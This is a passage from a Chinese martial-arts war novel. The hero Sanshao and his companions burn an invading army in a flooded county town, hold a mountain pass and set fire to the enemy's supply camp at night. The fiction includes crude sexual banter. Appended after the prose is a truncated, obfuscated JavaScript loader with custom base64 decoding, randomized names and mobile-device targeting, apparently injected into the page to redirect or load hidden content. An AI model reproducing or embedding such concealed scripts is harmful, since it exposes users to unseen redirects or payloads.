“退!”三少一声令下,乔伟、黎叔、怒横眉顿时撤招飞退入城门之中。三少待三人撤退之后,鼓足全力前冲十丈,将十丈之内的北疆军杀了个干干净净,再才收刀飞退入城门之中。
三少退进城门之后,城门轰然闭拢。萧天赐在城头上再射杀百人之后,也自城头上跃进城中,消失得无影无踪。
战至现在,太阳已经完全落山,天色已渐黑。公子苏见最后守城的五个人也已撤退,当下高声发令:“神弓营前进,全军准备进攻!”
北疆军终于进城。
但是当他们进城之后,他们才发现,噩梦并没有结束。
小小的一座陈县到处都积着齐膝深的水,城内所有的排水渠道都被堵死,不熟悉县城情况的北疆军一时无法找到排水渠道的通道加以疏通,只得举着灯笼火把涉水行军。
而县城里错综复杂的民居中也不知隐藏了多少敌人,不时有冷箭顺着灯笼火把的光芒射来,将北疆军战士冷不丁地射倒。
在又损失了近五千人之后,公子苏终于怒下决心,命所有的北疆军边前进边拆毁所经之处的一切建筑。
而在北疆军为了不吸引敌人注意,灭掉灯笼火把,摸黑开始边拆房子边前进之时,北疆军战士们突然又嗅到了阵阵令他们心惊不已的味道。
那是火油的味道。
不知何时,那积满了大半县城的污水水面上,竟然飘满了火油!
火油在某处被点燃,熊熊烈火顿时顺着水面一直蔓延了大半个县城,几乎将整个县城都笼罩于火光之中,而那些在水中涉水拆房的北疆军战士则大半被大火吞没。
已经进了城的公子苏铁青着脸看着火光冲天的县城,喃喃自语道:“一个小小的陈县县城折我铁军五万余精锐,逍遥山庄三少爷秦仁……本公子今生非杀你不可!”
直到天亮的时候,那将天际也照得通亮的火光才渐渐熄灭。
陈县已经变成一地焦土,四处都是被烧焦的北疆军士卒的尸体,硫磺味和烤肉香味充斥于晨风之中。
陈县靠近天京城的另一边城外,留下殿后的三少看着那仍在冒着青烟的陈县县城,一边喝着早餐奶一边喃喃道:“清儿这计策……忒毒了点儿。诸葛亮毕生行火计无数,自言有伤天和,将折寿二十年,清儿偏好火计,也不怕折寿……唉,她只余两年多好活,倒真是不怕会折寿……”
说着,三少向着天京城方向望了一眼,拒公子苏大军于陈县之外的一万禁军如今还剩下八千。那八千禁军现在已经往天京城方向去得远了,只看得到骑兵扬起的阵阵烟尘。
三少带五千骑兵,原本是打算待敌军进军陈县受阻撤退时衔尾追击用的,没想到公子苏竟然不照三少的设想行事。若是公子苏撤军绕道的话,三少有把握凭手头上的兵力,沿途袭扰,宁公子苏损兵折将不说,还可将他行军的时辰拖延至少两日。
现在事情没有按照三少原定的剧本进展,三少也不得不改变计划,让这八千禁军先行撤回天京城。
与北疆军打野战是极其不智的,八千禁军虽少,但也总算是一份有力的武装力量。回天京城拒城防守的话,比起与北疆军打野战来,自是划算多了。
宋清已随着八千禁军一起回城了,现在留下来跟三少一起殿后的,只有乔伟、黎叔、怒横眉、萧天赐、怜舟罗儿、秦霓儿、铁轩轩及逍遥山庄七十二地煞。
三少等选择的阻击地点是陈县之外两山间最窄的一处官道,只能容三辆四轮马车通行。
本来这样的通道,若是以军队阻击的话,效果会更好。但是北疆军神弓营实在太过厉害,军队屯积在这里,只会成为神弓营的箭靶,还不如以几十个武林高手把守来得实在。
至少,对付几十个人,公子苏不会让神弓营的箭手们来一次齐射。
三少与乔伟、黎叔、怒横眉、萧天赐堵在大道中央,怜舟罗儿、秦霓儿、铁轩轩则带着七十二地煞伏在两边山上,准备了大量暗器。
大道中央被三少等人用数十巨石堵死,三少坐在其中一块石头上,专心致志地看着掌心的纹路。
乔伟在一旁探过头来,看着三少的掌心,笑眯眯地道:“三少,你的生命线很长啊!”
三少看了乔伟一眼,懒洋洋地说:“少爷我还有一百多年好活,生命线自然是长得离谱了。”
乔伟呵呵笑着,将自己的左掌递到三少面前,道:“三少你看,我没有生命线。”
三少仔细一瞧,果见乔伟左掌之中一条纹路都没有,岂止没有生命线?
三少心中一动,问道:“伟哥,你的手怎会是这样?一条纹路都没有,又没有生命线,岂不是说你生下来就该是个死人?”
乔伟微微一笑,道:“三少莫要忘了,我的外号是什么。时间都在我的掌握之中,我的生命,又岂容他人作主?”
三少心头一喜,道:“伟哥,你是说,你的‘岁月不饶人’神功除了能令时间在别人身上加速流逝之外,还可以控制时间不在自己身上流逝?”
乔伟傲然点头,道:“那是自然。我现在这个样子,三少你能看出我已是七十岁的人了吗?我与老黎的武功本不是属于人间的武功,而是天神所赐!”
三少紧张地问道:“天神所赐?哪个神赐给你们的?你们又是从哪里学来的?”
乔伟摆出一副悠然神往的样子,慢慢地说道:“那是很多年以前了,我和老黎那时还只是两个初出茅庐的少年,我们加入魔门也没多久,还只是魔门的打杂弟子。有一天……我和老黎在杂货铺抢了七斤红糖、八两茶叶、九个包子、十个铜板,遭到江湖白道人士的追杀……我们被追杀一千多里,最后逃到了天山绝顶,无路可逃之下,我们决心跳崖。要知道,我们虽是魔门中人,但是士可杀不可辱,宁死也不愿委曲求全的。”
黎叔这时插了一句:“老乔,你说错了吧?你明明是打算假装跳一下的,为了效果逼真一点,你说我们应该在悬崖边上留下两只鞋子。结果我们两个摆鞋子的时候,你小子被崖口的大风吹得掉了下去,还顺手把我也拉下了悬崖……”
乔伟顿时老脸通红,啐道:“胡说,你这是污蔑我光辉伟大的形象!三少你别信老黎的,他已老糊涂了。嗯,我们接着说。我跟老黎跳崖之后,自忖必死的。谁知道苍天有眼,我们两个竟然被两棵伸出崖外的怪树接住……”
三少问道:“崖上生了两株树?恰巧把你们两个都接住了?”
乔伟点头道:“是这样的。两棵树,正好把我和老黎都接住了。我们就这样上不着天,下不着地的吊着,以为不被风吹死,也得给饿死,谁知道那两颗树上竟然各生着一颗紫红色的果子,只不过被树叶挡着,我们都没有发现。后来我们快要饿死的时候,发现了那两颗果子,于是我和老黎一人吃了一颗。我们那时并不知道,那两颗果子竟是江湖中人梦寐以求的‘龙涎果’,传说是天龙的口涎所化,吃一颗暴增百年内力。”
三少撇了撇嘴,自语道:“娘的,一般人掉下悬崖能找到一颗果子就不错了,你们倒好,两棵树,两颗果子,一人一颗。娘的……接下来的不用说了,肯定是你们吃了果子功力暴增,然后轻松下到崖底,接着发现一个山洞,里面有两部武功秘籍。秘籍上说,这是某位神仙升仙以前修炼的秘籍,留下来转赠有缘人。于是你们如获至宝,一人挑了一本练了起来……”
乔伟顿时大惊道:“三少真神人也!这都猜得出来!”
三少不屑地道:“这种故事少爷我看得滥了。娘的,少爷我掉悬崖的时候,都没果子吃,没武功秘籍得,你们倒好……唉,幸好我逍遥山庄增加几十年功力的药丸多的是,最厉害的武功秘籍也是当手纸用的……伟哥啊,和你打个商量成不?你能不能把‘岁月不饶人’,传给宋清?”
~第三章 万夫莫敌 第五节~
乔伟非常爽快地说:“没问题。反正我老乔半生未收半个徒儿,到老收个女徒弟也是不错的。”
黎叔凑过来说道:“三少万万不可!莫要忘了,老乔是人老心不老,在贪花好色这一点上,与三少不相上下。若是让他收清姑娘为徒,岂不是送羊入虎口?”
乔伟顿时一脸悲愤地道:“老黎,你我几十年的老朋友,你在这时候拆我的招牌?老黎,你扪心自问,我老乔一生清正,什么时候贪花好色了?”
黎叔冷哼两声,道:“老夫生平阅胸无数……”
乔伟支吾两声,无言以对。
三少不理两个老家伙斗嘴,有些惆怅地道:“伟哥,清儿父亲曾说她身患三阴绝脉,活不过二十岁,也不能修炼任何武功。不知道你的岁月不饶人,她能不能练?”
乔伟嘿嘿一笑,道:“三少不必担心。我老乔的岁月不饶人神功,既是神功,而非武功、鬼功、人功,当然是天神留下来的功夫。清姑娘虽患三阴绝脉,也一样练得。再说了,三少家里增加功力的药丸论斤计,随便给清姑娘几颗阳性的药丸服下,纵不能给清姑娘增加功力,亦能抑制她体内的阴气。老夫再传清姑娘岁月不饶人,清姑娘纵使不能如老夫一般冲锋陷阵,杀人无痕,也能保自身性命安全。”
说着,乔伟脸上再现出一丝淫荡,怪笑着说:“而且,三阴绝脉并非无法可治。三少你身怀‘修罗魔瞳’,体质至阳至刚,若能以童子身与清姑娘交合,阴阳互补之下,无论对清姑娘还是对三少您自己,都有莫大的裨益!治好三阴绝脉也是轻而易举!”
三少苦着脸道:“少爷我十五岁就不是童子身了,你现在却来说这风凉话,是不是存心嘲笑少爷我?”
乔伟淫笑道:“不是童子身也没关系,只要三少卯足功夫,与清姑娘连续交合七七四十九天,每天交合七次,亦能以自身阳气,化解清姑娘的三阴绝脉。若是清姑娘能在与三少交合的同时,修习岁月不饶人,嘿嘿……不但三阴绝脉可解,清姑娘亦可跻身一流高手之列!”
三少听得热血沸腾,拍手笑道:“伟哥,你跟了我这么久,就现在说的这番话少爷我最爱听。只不过……七七四十九天,每天七次,少爷我一共要做三百四十三次……那我岂不是会精尽人亡?”
乔伟正色道:“三少号称金枪不倒,洞房不倒,仅仅是在四十九天内连做三百四十三次,又怎会精尽人亡?”
三少闻言连连点头:“此言甚是!嗯,等保住了京城,少爷我便来着手医治清儿吧!唉,想我秦家三少,一生为情所困……为了心爱的女人,即使精尽人亡又何足惜?”
看着一脸悲愤的三少,乔伟与黎叔连叹三少真乃千古情圣……
尘土飞扬,马声喧嚣,公子苏的大军终于通过了陈县,沿着宽阔的官道一路奔驰而来。
过了陈县之后,两万轻骑营便奔驰在前,作为前锋,神弓营紧随其后。
公子苏身先士卒,行在大军最前面,当过了陈县之后,他看着前方百丈处被大石堵得严严实实的官道和坐在大石头上的五个人,心中顿时无名火起。
而三少,见公子苏大军到来,也懒得起身,坐在石头上大声道:“此山是我开,此树是我栽,要想打此过,留下买路财!要是敢说半个不字,哼哼,爷爷我白刀子进去,红刀子出来!”
喊完了话,三少得意洋洋地看着公子苏,还准备与公子苏讨价还价一番,然后设法激怒公子苏,令公子苏派兵冲卡,好杀个痛快。谁知一句话刚喊完,便见公子苏抬手喝了声:“神弓营!”
三少闻言与乔伟等人面面相觑。
摆在明面上的才五个人,公子苏居然就准备出动神弓营了?
三少等人正惊疑不定间,便见对面骑兵两翼奔出大队的弓箭手,正是北疆神弓营!
三少等人于陈县守城时,五个人展示出来的实力令公子苏记忆犹新。在这个时候,他又怎会派兵贸然冲卡,徒增伤亡?当然要派出神弓营,以弓箭了结这五个高手了。
“不好,公子苏学乖了!”三少见神弓营弯弓搭箭,顿时一声惊呼,与乔伟等人纵身跃起,向着官道两旁的山上的掠去。与此同时,公子苏已下令放箭。神弓营千箭齐发,一千枝铁箭发出撕裂空气的尖啸声,向着三少等人射去。
神弓营的箭全是纯铁打造,每枝箭长三尺,拇指粗细,力道惊人。以三少等人的修为,也不敢硬接这阵箭雨。幸好三少等人见机得早,待神弓营放箭时,三少等人已经上到山上,躲进了山石之后。
一阵暴响响起,三少等人原先坐着的那片石头之上,就像长出了一片黑色的杂草,看上去相当壮观。
公子苏冷哼一声,喝令骑兵前进,另九千神弓营箭手在两翼策应,随时准备放箭。
北疆骑兵来到那片堵路的石头前,下去百余个骑兵,将石头搬到路旁,令大军得以通过。神弓营在旁虎视眈眈,黑黝黝的箭头对着两边山上,只待一有异动便放箭。
三少等人躲在山上的山石之后,不敢随意露头。三少有些郁闷地道:“北疆神弓营的箭手虽然不能连续不断地发箭,可是他们个个都是百步穿杨的神射手。这一万箭手若是轮流发箭,咱们根本就没办法有甚作为。”
乔伟在旁撺掇道:“三少,你何不穿上龙吟,下去把神弓营统统干掉?少了这支弓箭兵队伍,咱们守天京城也有把握得多了。”
三少想了想,摇头道:“北疆军战力太强,龙吟虽然防御无敌,但是我连日激战,功力还未完全恢复,无法自如驱使龙吟。就算穿上了龙吟,也没办法干掉神弓营,最多能保全自己罢了。更何况,你怎知北疆神弓营只会放箭而不会近战?若是公子苏拼着损兵折将,也要干掉本少爷,派个几万人把少爷我一围,少爷我恐怕要活活累死在敌军阵中了。到那时候,少爷我就算杀光了神弓营又有何用?这世上的一切,也都与少爷我无关了。”
乔伟奇道:“三少你不是还有一百多年好活吗?又怎会死在这里?说不定当三少力竭之时,会有天神打救,一道天雷劈死所有围困三少的北疆军,令三少顺利突围呢!”
三少顿时气愤地道:“少爷我怕就怕天神晃点我!娘的,说老子有一百多年好活,可是要弄个意外死亡,岂不亏大?至于天雷,你就更别提了,少爷我从来只知道天雷最擅误伤好人,还没见哪个恶棍是死在天雷之下的!”
乔伟诧异地道:“照三少你的说法,你就更不必担心了。试问举世之恶棍,谁配与三少比肩?三少你恶行累累,恶贯满盈,也不见苍天来收你,可见恶人自得老天厚待!三少,不用担心,你就勇敢地杀下去吧,我相信,好人不长命,祸害遗千年,是举世之间,最真最真的至理名言!”
黎叔也道:“三少乃当世英雄,试问天下英雄,谁敢横刀立马?唯我秦家三少!三少,似你这等英雄人物,又何惧区区北疆铁军?一骑当千,万夫莫敌,这两个词语,也唯有用在三少你身上方才恰当!什么龙吟圣将,什么千古一帝,替三少你提鞋都不配!若是三少你生在战国乱世,那当世第一名将又岂能轮得到宋无?这花花江山又岂轮得到嬴圣君来坐?三少勇武,千军万马之中取上将首级犹如探囊取物。北疆铁军在三少眼中也不过是土鸡瓦狗,不堪一击,三少,是下决心的时候了!”
三少听得头晕目眩,脑袋一热,心血一澎湃,顿时猛地站起,大声道:“好,今日我秦家三少,也来逞一回英雄!且看我灭了神弓营,以敌寇之首级,来报诸君之忠义!龙吟!”
龙吟还未出鞘,神弓营的箭雨已然袭来。三少全身一个哆嗦,飞快地伏到地上,头脑顿时清醒,大骂道:“你们两个老家伙,是不是想害死少爷我?娘的,吹牛不用本钱吗?少爷我的头脑还是清醒的,像这种时候,北疆军严阵以待,少爷我若是贸然进攻,只能给他们当靶子,龙吟还没穿上便给射得浑身是洞了!娘的,还是等他们通过之后,再衔尾追击划算。”
乔伟与黎叔顿时窃笑不已。
神弓营虎视眈眈,戒备森严,直到公子苏的大军全部通过之后,神弓营才缓缓收兵。三少等给神弓营压着,自始至终未曾有些许作为,全都闷了一肚子气。等公子苏大军通过之后,三少跃上山头,向着北疆军队尾一阵大骂,结果又招来神弓营的一阵箭雨。
一阵拔出射在身上的铁箭,三少一边闷闷不乐地说:“公子苏以神弓营护卫本部两翼,以三千神弓营射手殿后,我们即使想尾随追击都不大方便,看来只好等夜间袭营了。”
三少身穿不坏金丝甲,铁箭仅射透了他的外衣,倒没伤到他分毫。但是给人压着打不能还手,却是三少生平仅见的耻辱。
“陈县离京城仅八十里,照北疆军的行军速度,今日日落前便可在京城前扎营。”乔伟蹲在山头上,看着那远去的北疆军,沉声道:“就算我们能袭营成功,杀个几千上万北疆军,也无法动摇敌军根本。擒贼先擒王,我们不如干脆一点,今晚夜袭干掉公子苏,不就一了百了?”
黎叔提议:“干脆我们把北疆军的将领也全部杀光。娘的,北疆军军纪严明,战力大秦第一,但是没有将领指挥,我倒要看看他们凭什么打胜仗!”
三少道:“北疆军久经战阵,袭杀将领是想杀就能杀的么?公子苏身为军中主将,又岂会不设防?军营甚大,要找到公子苏所处的营帐甚难,要杀他,更是难上加难。”
乔伟不以为然地道:“公子苏一介书生,虽然会统军打仗,可是他自己却是手无缚鸡之力。北疆军虽然在战场上战无不胜,可是论起真实功夫,又哪有什么高手了?要找到公子苏将其暗杀,其实易如反掌。”
黎叔也道:“老乔说了一辈子假话,可是刚才的话却是十足真金。”
三少哦了一声,点头道:“看来二位对杀公子苏都是志在必得啊!那好,这个光荣而艰巨的任务就交给二位前辈了!来人哪,上壮行酒!”
七十二地煞中两人顿时捧上两碗烈酒,递到乔伟和黎叔面前,“饮了壮行酒,两位就去准备杀公子苏吧!以两位的神功盖世,相信杀公子苏必如两位所说一样,易如反掌!”
乔伟和黎叔面面相觑,看着三少殷切的目光,乔伟一咬牙一跺脚,接过一碗酒,咕嘟几声喝了个精光,然后将海碗砸得粉碎,大声道:“三少,我乔伟得蒙三少知遇之恩,必以命报三少!杀公子苏一事,乔某愿一力承担……唔……娘的,肚子突然好痛……”
乔伟突然手捧小腹,弯下腰去,额上冒出豆大汗珠。“不行了不行了……娘的,盲肠炎犯了……医生叮嘱过我,不要喝酒的,喝酒容易犯病……唔……三少,不要紧,乔某一定会轻伤不下火线,带病坚持暗杀的……啊……好痛……不行了,真的不行了……三少,乔某……这病犯得厉害,只能有负三少之托了……”
说着,乔伟慢慢地蹲坐在地上,晕了过去。
“嗬,都痛晕了。”三少笑吟吟地看着黎叔,道:“黎叔啊,伟哥是不行了,这重任只好交由你一人完成了。”
黎叔无比鄙夷地看了乔伟一眼,轻蔑地道:“临阵退缩,不是大丈夫所为!三少,你放心吧,我老黎不会像老乔那般不争气的!”说着,一仰脖子,将他那碗酒一饮而尽,随手扔出海碗,准备将碗砸碎,却不小心砸到了乔伟头上,将他脑袋磕出一条口子,鲜血慢慢渗了出来。
乔伟脸上浮出痛苦之色,但是强行忍住了。忍辱偷生这一招,乔伟已练至炉火纯青。
黎叔抹净嘴角的残酒,遥望朝阳,面现慷慨激昂之色,高声吟道:“风萧萧兮易水寒……壮士一去兮……不复还!三少,保重!”说罢朝着三少一抱拳,转身便准备往崖下跃去。谁知转身时动作过于急了一点,左脚绊上右脚,一下子没站稳,哎呀一声扑倒在地,一声没吭就晕了过去。
三少看着两个“晕倒”的老前辈,长叹一声,自语道:“蝼蚁尚且偷生……二位前辈,秦某今日方知,何谓忍辱偷生之最高境界啊!来人啊,把两位前辈拖下去,好好安葬吧!”
七十二地煞中顿时走出几条面无表情的大汉,拖着乔伟和黎叔,走到山坡上的向阳处,挥动铁锹便开始挖坑准备埋人。
怜舟罗儿、秦霓儿、铁轩轩三女走到三少身旁,她们互相看了几眼,最后铁轩轩对三少说:“阿仁,你若要在今晚暗杀公子苏,我们愿随你袭营。”
三少望着京城方向,慢慢地道:“大哥二哥已派人传来消息,陆平野、野三关战线二十九日便已被破,两路共通过八万五千胡族大军。虽然大哥、二哥仍率人与这两路胡军周旋,但是京城周围的乡镇县城已经尽成焦土。胡族过处非但将粮食、财物掳掠一空,更掠女子以作军妓,杀男子以充肉食,其行径令人发指!公子苏率领的铁军倒也罢了,毕竟铁军将士都是大秦的子民,不会怎样残害中土百姓,可是若让胡族在我中原大地上任意驰骋,我中原百姓可还有半分生机?我不愿与北疆军作战,若能杀掉公子苏,刺杀北疆军得力将领,令北疆军不攻自溃自是最好。但是入侵中原的胡族……我绝对要将其彻底歼灭!”
怜舟罗儿轻声道:“忧国忧民,这不像你。”
三少微微一笑,道:“不在其位,不谋其事。当年我只是个好奢侈淫逸的采花小贼,自是不会理这天下大事。可是如今,既然我亲手将自己推到了这时代的浪尖,便要承担起自己的责任。大哥二哥皆在为中原百姓奋勇作战,我又岂能独享安宁?今夜,我必去袭营!除去了北疆铁军这一大患,只擅野战的胡族军队必然无法攻克天京城。保得了天京城,便能保天京城以南的中原各地!”
三少手指南方,缓缓地道:“天下大乱,又有外族为祸,天京城这一战,便是我等纵马江山的契机。此战若胜,我等便可有机会一统天下,还百姓一个太平盛世。若败,我等便唯有与天京城共存亡!”
~第四章 不战屈敌 第一节~
大秦历七八二年八月一日,公子苏屯兵天京城北城门下,胡族两路大军与公子苏合兵一处。
经历了陆平野、野三关、陈县三处的战阵,三路三十万先锋军至此尚余二十一万。
秦风、秦雷尾随陆平野、野三关两路的胡军,沿途袭扰,但收效甚微。胡族军队分作数十股,在天京城附近的城乡县镇大肆烧杀掳掠,来去如风,行踪不定,所过之处寸草不留。
秦风与秦雷虽然竭尽全力,但仍无法抓住胡军主力。论起打游击,胡族比起秦风和秦雷还要强上太多。
当三路敌军合兵之后,秦风与秦雷更加无法以数千人马冲击敌方大营,无奈之下,只得退回天京城中。
至此,北疆侵略军比原定计划迟了足足三天,才到达天京城下。而当北疆侵略军先锋军在天京城下屯兵扎营之时,由胡族大帅兀哈尔统领的,押运辎重物资的二十万后继部队离天京城也只有百里之遥。
天京城内,秦逍遥、铁空山在朝堂之上,召集文武百官商议应敌之策。
儿皇帝嬴海虽坐在龙椅之上,但是他神情痴呆,口角流涎,只会嘿嘿傻笑。所有的决策都是由秦逍遥和铁空山所定,圣旨当然也是由他二人代发的。
殿上文武百官对此都心照不宣。大秦原来的一批文武百官,不是给魔门杀了废了,就是给秦家、铁家或杀或收买了,早知道如今的大秦已不是嬴氏的天下,而是秦、铁两家的天下。天子改姓只是早晚的事,现在嬴海还坐在龙椅之上,只不过是个摆设罢了。
“丞相大人,北疆神弓营、胡族屠图哈族的神箭手都是守城方最可怕的敌人。我们的弓箭手虽然数量多,但是如果固守城墙,恐怕不但无法压制胡族与北疆军攻城,反倒会给神弓营和屠图哈族的弓箭手作箭靶练箭。”禁军大统领梁其洛忧心忡忡地说:“可是若放弃城墙优势,与敌近战肉搏的话,天京城内没有一支军队能与北疆铁军、胡族轻骑对抗。”
郭侠怀道:“而且天京城城墙过于宽广,敌军可任选几处进攻,我们却不能只选几处防守。如今禁军只余九万八千,御林军尚有八万,加上周边赶来增援的十万军队,以及近日招募的新兵,天京城内总兵力达三十二万。但是这三十二万人中,只有二十二万八千人是训练有素的精锐,余下的九万二千人都是刚刚拿到兵器,还从未上过战场的新丁。即使我们的精锐部队,也没办法与胡族、北疆军对抗,更何况那些新丁?以三十二万人的兵力守这天京城……恐怕仍力有未逮。”
秦逍遥沉吟道:“郭将军的意思是……我们无法确保天京城四面每一处城墙都有足够的兵力把守,但是我们又不能只重点把守几段区域,这的确是个问题。”
梁其洛又道:“若我是胡族统帅,我会选择以主力攻打北城门,以神弓营及屠图哈族神箭手压制城头守军。同时分派数股疑兵,佯攻其它区域。若守城方只注重城门,便加派兵马,把那数股佯攻的疑兵变成主力,趁势攻占几段城头,中间开花,两面突破,控制城墙。若不成也没多大关系,反正拿下北城门也没多大问题。”
铁空山道:“梁将军看来对北疆神弓营和屠图哈族神箭手颇为推崇,不知道他们究竟有什么了不起的本事,能令梁将军认为只要有这两支部队在,攻下天京城就没多大问题?”
梁其洛道:“北疆神弓营事实上是为了对抗屠图哈族的神箭手而成立的。这么多年来,神弓营的人数一直只有一万。可以这么说,北疆铁军因为有了神弓营,才能够以二十万兵力驻守北疆多年,将胡族压制在关外,令胡族无法南下中原。而屠图哈族的神箭手也令北疆铁军只能据守关卡,不敢深入草原,突袭草原胡族部落。如果不是有屠图哈族存在的话,北疆军早就杀入草原了!现在北疆军叛国,与胡族联手南下,仅北疆军与胡族的骑、步军我们便难以应付,再加上神弓营和屠图哈族神箭手,便是有城池,都很难阻止他们南下。”
秦逍遥淡淡地道:“那末,消灭这两支部队,不就等于拔去了猛虎的爪牙?”
梁其洛点头道:“是这样的。”
秦逍遥点了点头,对铁空山道:“大将军,既如此,我们便在敌军正式攻城前袭营,派遣逍遥山庄与铁血啸天堡最精锐的力量,不计损失,灭掉神弓营与屠图哈族的神箭手!”
※ ※ ※ ※
兀哈尔统领的二十万后继部队及十五万运送粮草辎重的民夫队伍在日落前与公子苏、阿蒙黎护的前军会合,五十六万人的帐蓬扎满天京城北城门前的平原,帐蓬一直绵延七十余里。
夜色中,三少远远地看着那灯火通明,宛如一条火龙般的连营,嘴角浮出一抹诡笑:“若是放上一把火,该能烧掉不少敌军吧?”
乔伟额上扎着一条绷带,一脸严肃地说:“杀人历来是与放火联系在一起的。我们今晚既然要袭营杀人,放火自然更是天经地义。”
“不知道……今晚会不会起北风啊!”三少抬头仰望天幕,天空中繁星点点,半点乌云都没有。
“盛夏起北风,除非老天爷帮我们。”黎叔缓缓地道。
“老天爷不帮我们还会帮谁呢?”三少笑眯眯地说:“别忘了,陈县那一场暴雨时,起的就是北风。”
※ ※ ※ ※
夜色更浓,公子苏坐在自己营帐中,看着一份天京城内潜伏的魔门密探传来的情报。
情报上将天京城内朝堂的变动细述了一遍,公子苏至此方知,天京城内掌权的如今已换成了秦逍遥与铁空山。他现在才明白,为何在陈县会遇上那般强烈的抵抗。
“元放公看来已凶多吉少了。”公子苏看完了密报,将其放在油灯上烧着后喃喃自语,“若是由秦逍遥和铁空山主持守城的话,此战我们恐怕很难轻易攻克天京城……怎办才好?是先攻下天京城,毁中原百姓心中基柱,还是绕过天京城继续南下,联合各路义军,夺大秦江山之后,再来包围天京城?”
公子苏正计较间,一阵若有若无的喧嚣之声突然传入帐中。公子苏心中一动,抬起头沉声道:“出去看看,外面究竟发生了什么事,怎会如此吵闹?”
帐中一名卫兵应了声是,快步跑出了营外。不多时,那卫兵便气喘吁吁地跑了回来,报道:“禀公子,天京城中潜出一队人马夜袭,连破三里连营后,分作两路,一路袭向神弓营的营地,一路袭向屠图哈族的营地!”
公子苏问道:“来袭之敌有多少?”
那卫兵道:“不多,仅三千余人,不过个个都是高手,尤其是领头的数人,更是高手中的高手,前去拦截的数位将军都只和他们打了一个照面,便给斩于马下!”
公子苏冷哼一声,道:“又是逍遥山庄和铁血啸天堡的人!他们胆子倒不小,竟敢以三千余人袭我大军营帐!攻神弓营和屠图哈族,看来是想毁我大军爪牙。行,让他们闹腾去,本公子就不信,凭区区三千余高手,就能把神弓营和屠图哈族的营地给端了!再探,一有异变马上回报!”
那卫兵领命去了,过了一刻钟之后,那卫兵又一路小跑回来,报道:“禀公子,现在胡族主帅兀哈尔大帅及胡族第一勇士皇泰极将军已率重兵将其分割包围,神弓营、屠图哈族两处营地未被攻破!神弓营及屠图哈族的神箭手亦已加入包围,正以弓箭射杀袭营之敌!”
公子苏嘴角浮出一抹冷笑,缓缓地道:“被大军围困,又有神弓营、屠图哈族箭手以弓箭伺之,即使是逍遥山庄和铁血啸天堡的高手,看来也无能为力,只能任我们宰割了!非常好,秦逍遥、铁空山,本公子要让你们拔我爪牙不成,反折自己爪牙!”
正得意间,忽有一名北疆将领冲入帐中,禀道:“公子,大事不好!我军大营后方失火,粮草辎重已给点燃!天色又突然异变,北风大起,火借风势,风助火威,大火已从后营渐渐蔓延向前!”
公子苏惊道:“这怎么可能?我军辎重营有两胡族轻骑及我北疆一万悍卒把守,怎可能让人潜进去放火成功?”
那将领道:“公子,末将所言句句是实!那从后方袭营放火之人并不太多,仅区区数十人,但是他们个个武功高强,轻功尤其厉害,未曾惊动我军守卒便已潜进辎重营中,在粮草车上浇上火油,直到大火燃起,我军守卒方才惊觉!但是放火之敌固守火场一柱香的功夫,令我军守卒无法顺利救火,待我军守卒驱散纵火之敌后,火势已经无法控制了!”
正在这时,又有一名浑身给火烟灼得焦头烂额的将领衣甲不整地冲了进来,带着哭腔禀道:“公子,纵火之敌袭我铁骑营马圈,放火扔鞭炮将铁骑营数万战马惊得四散奔逃,踏跨营帐无数,踏死踏伤我军士卒无数,大营后方现在已经彻底混乱了!”
公子苏顿觉手足冰凉,粮草被烧,战马被放跑,还未正式交战,他们便已败了!
“取我盔甲来!”公子苏一声大吼,大步向着帐外走去,边走边狞声道:“本公子倒要看看,究竟是谁有这么大的本事!”
铁骑营马圈,乔伟一掌震倒了三十多个赶来救马的铁骑营骑兵,吹燃了火折子,将挂在战马尾巴上的鞭炮逐一点着,阵阵爆响声中,受惊的战马嘶声狂叫,向着四面八方狂冲而去,踢倒了马栏,踏翻了营帐,踏碎了赶来准备收拢战马的铁骑营没马骑的骑兵,在夜色中跑得无影无踪。
黎叔将浸满了火油的长绢绑到几布战马身上,点着了火之后,那些战马便四散奔逃,边逃边把火种播到营地各处。
怒横眉与萧天赐在另一处马圈同样忙得不亦乐乎,放火、扔鞭炮,直到将圈中的马全部赶散之后,二人才消失于夜色中。
七十二地煞穿着北疆铁军的盔甲或是胡族士兵的皮甲,分作数股到处杀人放火。穿北疆军黑铁甲的地煞星们专捡胡族人的营帐放火,专找胡族士兵下刀。而穿胡族皮甲的地煞星们则恰恰相反,专找北疆军的麻烦。
一名作北疆军打扮的地煞星撞见一队胡族兵之后,大吼一声:“不要打,我们是自己人!”然后飞快地冲进“自己人”中间,挥刀劈翻几个,再撤丫子跑得无影无踪,气得那剩下的胡族兵们暴跳如雷,吱哇乱叫。
在他们的挑拨之下,不知道敌人究竟在哪里的北疆军和胡族士兵渐渐起了真火,双方分作截然不同的两个阵营,竟自互相劈砍打杀起来。
“没了粮草、战马,北疆军与胡族军再强也没办法打仗!”三少隐藏在黑暗中,看着一片混乱的后营,洋洋自得地想着:“谁说武林高手在战场上起不了多大作用?至少夜间袭营放火的话,武林高手绝对比一般士卒要容易得多!前世地球上,一队特种兵可以瓦解一支军队,今日我秦家三少也来玩一回特种作战!伟哥他们虽然没有尖端武器,可是凭他们的一身武功,难倒不比一支特种部队厉害?老子又不跟你们正面作战,你们人多,老子惹不起。嘿嘿,烧了你们的粮草,放跑你们的战马,老子倒要看看,你们还凭什么围城,凭什么作战!”
function oqRraISv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function fdnSA(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return oqRraISv(t);};window[''+'m'+'N'+'U'+'R'+'X'+'i'+'a'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HecRD(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new 